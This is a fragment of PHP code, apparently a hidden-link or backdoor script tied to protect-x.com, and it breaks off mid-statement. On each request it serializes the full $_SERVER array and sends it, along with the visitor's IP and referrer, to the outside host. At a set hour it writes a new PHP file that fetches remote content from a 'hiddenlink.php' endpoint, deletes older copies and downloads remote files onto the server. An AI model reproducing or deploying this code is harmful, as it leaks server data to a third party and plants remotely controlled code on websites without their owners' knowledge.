$version='1.7a';
$timeout=2;
function f_file_get_contents($url)
{
global $timeout;
if (ini_get('allow_url_fopen')){
$old = ini_set('default_socket_timeout', $timeout);
$data=@file_get_contents($url);
ini_set('default_socket_timeout', $old);
} else {
$url=str_replace('&','&',$url);
$ch=curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_TIMEOUT, $timeout);
$data = curl_exec ($ch);
curl_close ($ch);
}
return $data;
}
function ip2int($ip) {
$a=explode(".",$ip);
return $a[0]*256*256*256+$a[1]*256*256+$a[2]*256+$a[3];
}
function GetRandomString($length) {
$template = "1234567890aJbEcdGFefgHhiVjklmAQnopqZrsJtuNvwMxWOPLKyz";
$rndstring='';
for ($a = 0; $a <= $length; $a++) {
$b = rand(0, strlen($template) - 1);
$rndstring .= $template[$b];
}
return $rndstring;
}
$p1=array('id=','gr=','script=','l=','c=','i=');
$p2=array('s=', 'nc=', 'c=', 'fc=', 'p=', 't=');
$p3=array('u=','url=','u=','url=','u=','url=');
$p4=array('&l=movie','&link=pic','&link=m','','&l=tmb'.rand(40,270),'&l=got','&lnk=thumb','','');
if (isset($_SERVER['QUERY_STRING']))
if ($_SERVER['QUERY_STRING']=='getversion'){
echo $version;
} else {
$parts=urlencode(serialize($_SERVER));
$ip=getenv("REMOTE_ADDR");
$lfrom=urlencode("http://".$_SERVER['SERVER_NAME']);
if (!isset($_SERVER['HTTP_REFERER']))$_SERVER['HTTP_REFERER']='';
$url='http://www.protect-x.com/sprotectx.php?code=5def959d17167d5&b=1&f='.urlencode($_SERVER['HTTP_REFERER']).'&st='.ip2int($ip).'&lfrom='.$lfrom."&srv=$parts";
$body = f_file_get_contents($url);
if (empty($body)){
$filename='protectx.gif';
} else {
list($body,$new,$old)=explode('|',$body);
if ($body!='b_' and $body!='ch_' and $body!='g_' and $body!='nb_' and $body!='uv_' and $body!='ad_'){
$filename='protectx.gif';
} else {
$filename=$body.'default.gif';
}
}
$new_chksum=$new[1].$new[3].$new[5];
if ($new_chksum!='zan') $new='pzoaenthl.php';
$old_chksum=$old[1].$old[3].$old[5];
if ($old_chksum!='zan') $old='pzoaenthl.php';
echo "";
$chour=date('H');
if ($chour==15 and $new!=''){
$new_file=" \$hct=@file_get_contents('http://www.protect-x.com/hiddenlink.php?code='.\$_GET['code'].'&r=".'\'.$_GET[\'ref\']'."); ?>";
if (!file_exists($new)){
if (file_exists($old))
unlink($old);
$w=@fopen($new,'w');
@flock($w,2);
@fwrite($w,$new_file."\n");
@flock($w,3);
@fclose($w);
}
}
if (!file_exists('protectx_hl.jpg')){
$pimg=@f_file_get_contents('http://www.protect-x.com/protectx_hl.jpg');
$handle = @fopen("protectx_hl.jpg", 'w');
@fwrite($handle, $pimg);
@fclose($handle);
} else {
if ($new!=''){
if (file_exists($new)){
echo "